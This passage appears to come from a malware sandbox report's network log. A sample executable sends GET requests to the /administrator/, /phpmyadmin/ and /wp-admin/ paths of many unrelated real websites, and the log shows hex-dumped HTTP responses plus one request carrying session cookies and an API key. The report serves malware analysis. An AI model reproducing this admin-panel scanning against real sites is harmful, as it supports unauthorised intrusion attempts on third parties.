3e 20 3c 2f 70 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 69 76 61 63 79 2d 70 6f 6c 69 63 79 2d Data Ascii: us(); d.select();} catch( er ) {}}, 200);}wp_attempt_focus();if ( typeof wpOnload === 'function' ) { wpOnload() }/* ... */</script><p id="backtoblog"><a href="https://hightideinc.com/">← Go to High Tide Inc.</a> </p><div class="privacy-policy-
2023-11-26 05:59:34 UTC	1369	IN	Data Raw: 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 76 65 6e 64 6f 72 2f 77 70 2d 70 6f 6c 79 66 69 6c 6c 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 33 2e 31 35 2e 30 22 20 69 64 3d 22 77 70 2d 70 6f 6c 79 66 69 6c 6c 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 64 69 73 74 2f 68 6f 6f 6b 73 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 63 36 61 65 63 39 61 38 64 34 65 35 61 35 64 35 34 33 61 31 22 20 69 64 3d 22 77 70 2d 68 6f 6f 6b 73 2d 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 Data Ascii: /hightideinc.com/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=3.15.0" id="wp-polyfill-js"></script><script type="text/javascript" src="https://hightideinc.com/wp-includes/js/dist/hooks.min.js?ver=c6aec9a8d4e5a5d543a1" id="wp-hooks-js"></script><scr
2023-11-26 05:59:34 UTC	316	IN	Data Raw: 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 69 64 3d 22 75 73 65 72 2d 70 72 6f 66 69 6c 65 2d 6a 73 2d 65 78 74 72 61 22 3e 0a 2f 2a 20 3c 21 5b 43 44 41 54 41 5b 20 2a 2f 0a 76 61 72 20 75 73 65 72 50 72 6f 66 69 6c 65 4c 31 30 6e 20 3d 20 7b 22 75 73 65 72 5f 69 64 22 3a 22 30 22 2c 22 6e 6f 6e 63 65 22 3a 22 30 30 37 63 61 39 30 65 65 30 22 7d 3b 0a 2f 2a 20 5d 5d 3e 20 2a 2f 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 68 69 67 68 74 69 64 65 69 6e 63 2e 63 6f 6d 2f 77 70 2d 61 64 6d 69 6e 2f 6a 73 2f 75 73 65 72 2d 70 72 6f 66 69 6c 65 2e 6d 69 6e 2e 6a 73 Data Ascii: /script><script type="text/javascript" id="user-profile-js-extra">/* <![CDATA[ /var userProfileL10n = {"user_id":"0","nonce":"007ca90ee0"};/ ... */</script><script type="text/javascript" src="https://hightideinc.com/wp-admin/js/user-profile.min.js
2023-11-26 05:59:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	58268	34.240.130.5	443

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	247	OUT	GET /administrator/index.php HTTP/1.1 Host: www.harasduberry.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.harasduberry.com/administrator/
2023-11-26 05:59:34 UTC	231	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 54 72 61 6e 73 66 65 72 2d 45 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 73 74 72 69 63 74 2d 74 72 61 6e 73 70 6f 72 74 2d 73 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 36 30 34 38 30 30 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:34 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingstrict-transport-security: max-age=604800Server: nginx
2023-11-26 05:59:34 UTC	16153	IN	Data Raw: 31 66 33 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 66 72 2d 46 52 22 3e 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 2f 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 20 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 75 2e 6a 69 6d 63 64 6e 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 64 6e 73 2d 70 72 65 66 65 74 63 68 20 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2e 6a 69 6d 73 74 61 74 69 63 2e 63 6f 6d 2f 22 20 63 72 6f 73 73 6f 72 69 67 69 6e Data Ascii: 1f37<!DOCTYPE html><html lang="fr-FR"><head> <meta charset="utf-8"/> <link rel="dns-prefetch preconnect" href="https://u.jimcdn.com/" crossorigin="anonymous"/><link rel="dns-prefetch preconnect" href="https://assets.jimstatic.com/" crossorigin
2023-11-26 05:59:34 UTC	16384	IN	Data Raw: 76 61 75 78 20 c3 a0 20 76 65 6e 64 72 65 3c 2f 61 3e 3c 2f 6c 69 3e 3c 2f 75 6c 3e 3c 2f 6c 69 3e 3c 6c 69 0d 0a 31 66 66 32 0d 0a 20 69 64 3d 22 63 63 2d 6e 61 76 2d 76 69 65 77 2d 32 31 31 35 39 31 35 33 37 39 22 20 63 6c 61 73 73 3d 22 6a 6d 64 2d 6e 61 76 5f 5f 6c 69 73 74 2d 69 74 65 6d 2d 30 20 6a 2d 6e 61 76 2d 68 61 73 2d 63 68 69 6c 64 72 65 6e 22 3e 3c 61 20 68 72 65 66 3d 22 2f 69 6e 66 6f 73 2d 70 72 61 74 69 71 75 65 73 2d 70 61 72 2d 72 61 63 65 2f 22 20 64 61 74 61 2d 6c 69 6e 6b 2d 74 69 74 6c 65 3d 22 49 6e 66 6f 73 20 70 72 61 74 69 71 75 65 73 20 70 61 72 20 72 61 63 65 22 3e 49 6e 66 6f 73 20 70 72 61 74 69 71 75 65 73 20 70 61 72 20 72 61 63 65 3c 2f 61 3e 3c 73 70 61 6e 20 64 61 74 61 2d 6e 61 76 69 2d 74 6f 67 67 6c 65 3d 22 63 63 Data Ascii: vaux vendre</a></li></ul></li><li1ff2 id="cc-nav-view-2115915379" class="jmd-nav__list-item-0 j-nav-has-children"><a href="/infos-pratiques-par-race/" data-link-title="Infos pratiques par race">Infos pratiques par race</a><span data-navi-toggle="cc
2023-11-26 05:59:34 UTC	7295	IN	Data Raw: 6e 74 72 5c 75 30 30 66 34 6c 65 20 4a 69 6d 64 6f 5c 6e 5c 6e 4c 65 73 20 63 6f 6f 6b 69 0d 0a 31 63 35 32 0d 0a 65 73 20 64 65 20 63 6f 6e 74 72 5c 75 30 30 66 34 6c 65 20 4a 69 6d 64 6f 20 70 65 72 6d 65 74 74 65 6e 74 20 61 75 20 76 69 73 69 74 65 75 72 20 64 75 20 73 69 74 65 20 64 27 61 75 74 6f 72 69 73 65 72 20 6c 65 73 20 73 65 72 76 69 63 65 73 5c 2f 63 6f 6f 6b 69 65 73 20 73 5c 75 30 30 65 39 6c 65 63 74 69 6f 6e 6e 5c 75 30 30 65 39 73 20 65 74 20 65 6e 72 65 67 69 73 74 72 65 6e 74 20 6c 65 75 72 73 20 70 72 5c 75 30 30 65 39 66 5c 75 30 30 65 39 72 65 6e 63 65 73 20 65 6e 20 6d 61 74 69 5c 75 30 30 65 38 72 65 20 64 65 20 63 6f 6f 6b 69 65 73 2e 5c 6e 5c 6e 50 72 65 73 74 61 74 61 69 72 65 20 3a 5c 6e 4a 69 6d 64 6f 20 47 6d 62 48 2c 20 53 Data Ascii: ntr\u00f4le Jimdo\n\nLes cooki1c52es de contr\u00f4le Jimdo permettent au visiteur du site d'autoriser les services\/cookies s\u00e9lectionn\u00e9s et enregistrent leurs pr\u00e9f\u00e9rences en mati\u00e8re de cookies.\n\nPrestataire :\nJimdo GmbH, S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	58227	116.202.203.176	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	178	OUT	GET /administrator/ HTTP/1.1 Host: eco-landeck.at Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	565	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 33 34 39 31 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 53 41 4d 45 4f 52 49 47 49 4e 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 37 20 41 75 67 20 32 30 30 35 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 73 74 6f 72 65 2c 20 6e 6f 2d 63 61 63 68 65 2c 20 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 26 Nov 2023 05:59:34 GMTContent-Type: text/html; charset=utf-8Content-Length: 13491Connection: closeX-Frame-Options: SAMEORIGINExpires: Wed, 17 Aug 2005 00:00:00 GMTCache-Control: no-store, no-cache,
2023-11-26 05:59:34 UTC	13491	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 64 65 2d 64 65 22 20 64 69 72 3d 22 6c 74 72 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 48 41 4b 20 48 4c 57 20 4c 61 6e 64 65 63 6b 2c 20 57 65 62 73 69 74 65 20 64 65 72 20 48 61 6e 64 65 6c 73 61 6b 61 64 65 6d 69 65 2c 20 64 65 72 20 4d 65 64 69 61 68 61 6b 20 4c 61 6e 64 65 63 6b 20 75 6e 64 Data Ascii: <!DOCTYPE html><html lang="de-de" dir="ltr"><head> <meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><meta name="description" content="HAK HLW Landeck, Website der Handelsakademie, der Mediahak Landeck und

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	58084	213.0.13.44	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	180	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.ceuandalucia.es Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	461	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 50 48 50 2f 35 2e 34 2e 34 35 2d 30 2b 64 65 62 37 75 31 34 0d 0a 45 78 70 69 72 65 73 3a 20 57 65 64 2c 20 31 31 20 4a 61 6e 20 31 39 38 34 20 30 35 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 2c 20 6d 61 78 2d 61 67 65 3d 30 0d 0a 4c 69 6e 6b 3a 20 3c 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 2f 77 70 2d 6a 73 6f 6e 2f 3e 3b 20 72 65 6c Data Ascii: HTTP/1.1 404 Not FoundDate: Sun, 26 Nov 2023 05:59:34 GMTServer: ApacheX-Powered-By: PHP/5.4.45-0+deb7u14Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.ceuandalucia.es/wp-json/>; rel
2023-11-26 05:59:34 UTC	6	IN	Data Raw: 32 33 30 34 0d 0a Data Ascii: 2304
2023-11-26 05:59:34 UTC	4773	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 20 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 68 74 6d 6c 2d 6c 6f 61 64 69 6e 67 20 77 66 2d 61 63 74 69 76 65 20 69 65 20 6f 6c 64 2d 62 72 6f 77 73 65 72 20 6c 74 2d 69 65 31 30 20 6c 74 2d 69 65 39 20 6c 74 2d 69 65 38 20 6c 74 2d 69 65 37 20 72 65 73 70 6f 6e 73 69 76 65 22 20 69 74 65 6d 73 63 6f 70 65 3d 22 69 74 65 6d 73 63 6f 70 65 22 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 50 61 67 65 22 20 6c 61 6e 67 3d 22 65 73 22 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 Data Ascii: <!DOCTYPE html>...[if lt IE 7]> <html class="no-js html-loading wf-active ie old-browser lt-ie10 lt-ie9 lt-ie8 lt-ie7 responsive" itemscope="itemscope" itemtype="http://schema.org/WebPage" lang="es" xmlns:og="http://opengraphprotocol.org/schema/"
2023-11-26 05:59:34 UTC	4191	IN	Data Raw: 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 0a 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 6f 72 64 65 72 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 6f 78 2d 73 68 61 64 6f 77 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 68 65 69 67 68 74 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 77 69 64 74 68 3a 20 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 6d 61 72 67 69 6e 3a 20 30 20 2e 30 37 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2d 30 2e 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 62 61 63 6b Data Ascii: <style type="text/css">img.wp-smiley,img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 .07em !important;vertical-align: -0.1em !important;back
2023-11-26 05:59:34 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:34 UTC	6	IN	Data Raw: 32 37 66 63 0d 0a Data Ascii: 27fc
2023-11-26 05:59:34 UTC	5939	IN	Data Raw: 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6e 65 77 73 6c 65 74 74 65 72 2d 73 75 62 73 63 72 69 70 74 69 6f 6e 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 2f 77 70 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 6e 65 77 73 6c 65 74 74 65 72 2f 73 75 62 73 63 72 69 70 74 69 6f 6e 2f 73 74 79 6c 65 2e 63 73 73 3f 76 65 72 3d 35 2e 31 2e 38 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 6d 6f 6f 76 65 5f 67 64 70 72 5f 66 72 6f 6e 74 65 6e 64 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f Data Ascii: <link rel='stylesheet' id='newsletter-subscription-css' href='https://www.ceuandalucia.es/wp/wp-content/plugins/newsletter/subscription/style.css?ver=5.1.8' type='text/css' media='all' /><link rel='stylesheet' id='moove_gdpr_frontend-css' href='https:/
2023-11-26 05:59:34 UTC	4297	IN	Data Raw: 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 68 65 6d 65 2d 62 6f 6f 74 73 74 72 61 70 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 65 75 61 6e 64 61 6c 75 63 69 61 2e 65 73 2f 77 70 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 65 6e 76 69 73 69 6f 6e 2f 6c 69 62 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 3f 76 65 72 3d 32 2e 30 2e 39 2e 33 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 73 74 79 6c 65 73 68 65 65 74 27 20 69 64 3d 27 74 68 65 6d 65 2d 63 68 69 6c 64 2d 66 72 6f 6e 74 65 6e 64 2d 73 74 79 6c 65 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 77 77 Data Ascii: <link rel='stylesheet' id='theme-bootstrap-css' href='https://www.ceuandalucia.es/wp/wp-content/themes/envision/lib/css/bootstrap.css?ver=2.0.9.3' type='text/css' media='all' /><link rel='stylesheet' id='theme-child-frontend-style-css' href='https://ww
2023-11-26 05:59:34 UTC	2	IN	Data Raw: 0d 0a Data Ascii:
2023-11-26 05:59:34 UTC	6	IN	Data Raw: 35 62 66 35 0d 0a Data Ascii: 5bf5

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	58574	13.32.208.27	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	492	OUT	GET /administrator/index.php HTTP/1.1 Host: www.perrisesd.org Accept: / Accept-Encoding: deflate, gzip Cookie: SWSessionID=ba42e268-c765-4904-80e3-ade29c961f0f; AccountID=Xogon24LhVEF1Gfd40nUZQ==; APIKey=1bbe4818-f2c5-416c-a84a-2ce99b631f94; CSAN=zXOKKR3GedasH9m5g4E4RQ==; PSDB=lL7iN951F63+qccmbSPISkYpSYcXNAdZfwA6IkfZ1mg=; PSN=TYQOVZnyPCoiWL2kw/FH8w== User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://www.perrisesd.org/administrator/
2023-11-26 05:59:34 UTC	674	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 36 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 70 72 69 76 61 74 65 0d 0a 53 65 72 76 65 72 3a 20 4d 69 63 72 6f 73 6f 66 74 2d 49 49 53 2f 31 30 2e 30 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 3b 20 69 6e 63 6c 75 64 65 53 75 62 44 6f 6d 61 69 6e Data Ascii: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Content-Length: 3067Connection: closeDate: Sun, 26 Nov 2023 05:59:34 GMTCache-Control: privateServer: Microsoft-IIS/10.0Strict-Transport-Security: max-age=31536000; includeSubDomain
2023-11-26 05:59:34 UTC	3067	IN	Data Raw: 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 53 74 79 6c 65 73 68 65 65 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 70 65 72 72 69 73 65 73 64 2e 6f 72 67 2f 53 74 61 74 69 63 2f 2f 73 69 74 65 2f 61 73 73 65 74 73 2f 53 74 79 6c 65 73 2f 73 79 73 74 65 6d 5f 32 37 34 31 2e 63 73 73 22 20 2f 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 2d 20 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 20 20 40 66 6f 6e 74 2d 66 61 63 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 Data Ascii: <html><head> <link rel="Stylesheet" type="text/css" href="https://www.perrisesd.org/Static//site/assets/Styles/system_2741.css" /> <title>Error 404 - Page Not Found</title> <style type="text/css"> @font-face { font

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	58091	35.164.64.246	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	174	OUT	GET /phpmyadmin/ HTTP/1.1 Host: belongfbg.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-11-26 05:59:34 UTC	150	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 32 36 20 4e 6f 76 20 32 30 32 33 20 30 35 3a 35 39 3a 33 34 20 47 4d 54 0d 0a 63 6f 6e 74 65 6e 74 2d 74 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 74 72 61 6e 73 66 65 72 2d 65 6e 63 6f 64 69 6e 67 3a 20 63 68 75 6e 6b 65 64 0d 0a 63 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 0d 0a Data Ascii: HTTP/1.1 404 Not Founddate: Sun, 26 Nov 2023 05:59:34 GMTcontent-type: text/html; charset=UTF-8transfer-encoding: chunkedconnection: close
2023-11-26 05:59:34 UTC	1321	IN	Data Raw: 35 32 32 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 0a 68 74 6d 6c 2c 62 6f 64 79 7b 0a 20 20 20 20 77 69 64 74 68 3a 31 30 30 25 3b 0a 20 20 20 20 68 65 69 67 68 74 3a 31 30 30 25 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0a 7d 0a 0a Data Ascii: 522<!doctype html><head><meta http-equiv="X-UA-Compatible" content="IE=edge" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><style type="text/css">html,body{ width:100%; height:100%; margin:0; padding:0;}
2023-11-26 05:59:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.4	58112	74.220.219.189	443	6240	C:\Users\user\Desktop\klWGq3yDcQ.exe

Timestamp	Bytes transferred	Direction	Data
2023-11-26 05:59:34 UTC	222	OUT	GET /wp-admin/ HTTP/1.1 Host: himontessori.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://himontessori.com/wp-login.php
